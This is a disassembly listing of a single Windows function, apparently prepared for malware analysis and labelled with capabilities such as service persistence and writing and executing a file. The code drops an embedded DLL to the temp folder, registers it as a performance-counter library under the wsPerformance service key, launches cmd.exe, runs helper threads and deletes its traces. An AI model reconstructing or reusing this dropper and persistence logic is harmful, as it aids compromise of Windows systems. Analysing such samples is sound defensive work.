Function at 0x140005ea0
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Create thread
Delete file
Extract resource via kernel32 functions
Get common file path
Persist via windows service
Resume thread
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push r14
push r15
lea rbp, [r11 - 0x4e8]
sub rsp, 0x5d0
mov rax, qword [0x14003f0a0]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
mov qword [r11 + 8], rbx
lea rcx, [rbp + 0x2a0]
mov qword [r11 + 0x10], rsi
xor edx, edx
mov qword [r11 + 0x18], rdi
mov r8d, 0x208
mov qword [r11 - 0x20], r12
mov qword [r11 - 0x28], r13
xor r13d, r13d
mov r15d, r13d
mov ebx, r13d
call fcn.14000cad0
xor eax, eax
mov dword [rsp + 0x54], r13d
xorps xmm0, xmm0
mov dword [rsp + 0x50], r13d
mov edx, 0x208
mov dword [rbp - 0x6c], r13d
movups xmmword [rsp + 0x60], xmm0
lea ecx, [rax + 0x40]
mov qword [rsp + 0x70], rax
mov r12d, r13d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r14, rax
test rax, rax
je 0x1400065b9
xorps xmm0, xmm0
lea rcx, [rbp - 0x68]
movups xmmword [rbp - 0x68], xmm0
call qword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x1400065b9
lea edx, [rax + 0x20]
lea ecx, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov rdi, rax
test rax, rax
je 0x1400065b9
mov r9d, dword [rbp - 0x68]
lea r8, str._08X
lea edx, [r13 + 0x10]
mov rcx, rax
call fcn.140004fc0
lea rdx, [rbp + 0x2a0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, 0x104
ja 0x1400065b9
mov esi, r13d
mov qword [rbp - 0x68], r13
mov dword [rbp - 0x70], r13d
mov dword [rsp + 0x58], r13d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x68]
lea edx, [r13 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140005ff1
mov rcx, qword [rbp - 0x68]
lea rax, [rsp + 0x58]
lea r9d, [r13 + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x70]
lea edx, [r13 + 0xc]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140005ff1
mov r12d, dword [rbp - 0x70]
lea esi, [r13 + 1]
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x140006000
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x1400065b9
xor eax, eax
mov dword [rsp + 0x7c], r13d
xorps xmm0, xmm0
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x58]
mov dword [rbp - 0x74], r13d
movups xmmword [rbp - 0x58], xmm0
lea edx, [rax + 1]
movups xmmword [rbp - 0x48], xmm0
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
lea rcx, [rbp - 0x58]
xor r8d, r8d
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
xorps xmm0, xmm0
mov dword [rsp + 0x78], 0x18
lea rax, [rbp - 0x58]
mov dword [rbp - 0x78], r13d
mov qword [rbp - 0x80], rax
mov ebx, r13d
xor eax, eax
mov qword [rbp - 0x68], r13
mov qword [rbp + 0x30], rax
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x68]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400060cb
mov rcx, qword [rbp - 0x68]
lea rax, [rsp + 0x58]
mov r9d, 4
mov dword [rsp + 0x58], 4
lea r8, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x1400060da
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x1400065b6
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor edx, edx
mov word [rbp + 0x40], r13w
mov r8d, 0x256
lea rcx, [rbp + 0x42]
mov rbx, rax
call fcn.14000cad0
mov rsi, 0xffffffffffffffff
test rbx, rbx
je 0x140006152
cmp word [rbx], 0x22
lea r9, [rbx + 2]
mov rax, rsi
cmovne r9, rbx
nop dword [rax]
cmp word [r9 + rax*2 + 2], r13w
lea rax, [rax + 1]
jne 0x140006120
cmp word [r9 + rax*2 - 2], 0x22
jne 0x14000613d
mov word [r9 + rax*2 - 2], 0x5c
lea r8, str.cmd.exe__c_start__b__s
mov edx, 0x12c
lea rcx, [rbp + 0x40]
call fcn.140003c50
lea rax, [rsp + 0x60]
mov dword [rbp - 0x30], 0x68
mov qword [rsp + 0x48], rax
lea r9, [rsp + 0x78]
lea rax, [rbp - 0x30]
mov word [rbp + 0x10], r13w
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x78]
mov qword [rsp + 0x38], r13
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x30], r13
xor ecx, ecx
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], r13d
mov dword [rbp + 0xc], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rbx, rdi
test eax, eax
je 0x1400065b9
cmp qword [rsp + 0x60], r13
je 0x1400065b9
cmp qword [rsp + 0x68], r13
je 0x1400065b9
mov eax, dword [rsp + 0x74]
lea r9, [rbp + 0x2a0]
mov dword [rsp + 0x30], r12d
lea r8, str._wsperformance__d__d__d.dll
mov dword [rsp + 0x28], eax
mov edx, 0x104
mov eax, dword [rsp + 0x70]
mov rcx, r14
mov dword [rsp + 0x20], eax
call fcn.140004fc0
test eax, eax
js 0x1400065b9
xor r8d, r8d
lea rcx, str.A71A_TYHk_A7TY.dll
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor ecx, ecx
mov dword [rsp + 0x58], r13d
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov edx, 0x67
xor ecx, ecx
lea r8d, [rdx - 0x5d]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x1400062c9
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r13d, eax
test eax, eax
je 0x1400062c6
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400062c6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
je 0x1400062c6
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, rsi
je 0x1400062bd
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], r15
mov r8d, r13d
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test rbx, rbx
je 0x1400062c6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400062e1
mov rbx, rdi
cmp dword [rsp + 0x58], r15d
je 0x1400065b9
mov edx, 0x208
mov dword [rsp + 0x54], 1
mov ecx, 0x40
mov qword [rsp + 0x58], r13
mov r12d, r13d
mov dword [rbp - 0x70], r13d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400065b6
mov rax, qword [0x140041a28]
lea r9, str.A71A_TYHk_A7TY
test rax, rax
lea r8, str.SYSTEMCurrentControlSetServices_wsPerformance
mov edx, 0x104
mov rcx, rbx
cmovne r9, rax
call fcn.140004fc0
lea rax, [rbp - 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rsp + 0x58]
mov rdx, rbx
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140006469
cmp dword [rbp - 0x70], 1
jne 0x14000645c
nop word [rax + rax]
cmp word [r14 + rsi*2 + 2], r15w
lea rsi, [rsi + 1]
jne 0x140006390
mov rcx, qword [rsp + 0x58]
lea eax, [rsi*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.Library
mov r9d, 1
mov qword [rsp + 0x20], r14
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
lea rax, str.OpenPerfData
mov dword [rsp + 0x28], 0x1a
lea rdx, str.Open
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
lea rax, str.CollectPerfData
mov dword [rsp + 0x28], 0x20
lea rdx, str.Collect
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
lea rax, str.ClosePerfData
mov dword [rsp + 0x28], 0x1c
lea rdx, str.Close
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r12d, 1
jmp 0x140006472
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140006472
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, rdi
test r12d, r12d
je 0x1400065b9
mov qword [rsp + 0x28], r13
lea r8, [0x1400066d0]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor edx, edx
mov dword [rsp + 0x50], 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
je 0x1400065af
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x28], r13
lea r8, [0x1400066e0]
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r12, rax
test rax, rax
je 0x140006593
mov edx, 0xea60
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140006520
lea rdx, [rbp - 0x6c]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x140006520
cmp dword [rbp - 0x6c], 0
mov r15d, r13d
mov ecx, 0xbb8
sete r15b
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xea60
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.140006650
test eax, eax
mov rcx, r14
sete r13b
mov dword [rsp + 0x50], r13d
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r13d, r13d
test eax, eax
sete r13b
mov dword [rsp + 0x54], r13d
test r15d, r15d
je 0x140006588
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 1
je 0x140006578
xor r15d, r15d
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400065a6
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400065a6
mov r15d, r13d
mov dword [rsp + 0x54], 1
mov dword [rsp + 0x50], 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
jne 0x1400065cb
jmp 0x1400065b9
mov rbx, rdi
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400065cb
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [rsp + 0x50], 0
mov r13, qword [rsp + 0x5c0]
mov r12, qword [rsp + 0x5c8]
mov rdi, qword [rsp + 0x600]
mov rsi, qword [rsp + 0x5f8]
je 0x1400065f7
call fcn.140006650
cmp dword [rsp + 0x54], 0
je 0x140006607
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test rbx, rbx
je 0x140006615
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x5f0]
test r14, r14
je 0x14000662b
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r15d
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.14000a4c0
add rsp, 0x5d0
pop r15
pop r14
pop rbp
ret